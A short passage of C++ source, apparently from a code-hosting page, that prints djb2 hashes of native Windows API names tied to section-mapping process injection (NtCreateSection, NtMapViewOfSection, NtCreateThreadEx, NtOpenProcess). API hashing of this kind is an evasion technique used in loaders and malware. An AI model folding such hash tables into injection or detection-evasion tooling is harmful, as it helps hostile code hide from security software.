"NtCreateSection", "NtMapViewOfSection", "NtCreateThreadEx",
|
||||
"NtQuerySystemInformation", "NtOpenProcess", "NtClose"
|
||||
};
|
||||
for (auto* n : names) {
|
||||
std::cout << n << " djb2=0x" << std::hex << Hashes::Djb2(n)
|
||||
<< " lower=0x" << Hashes::Djb2Lower(n) << std::dec << "\n";
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user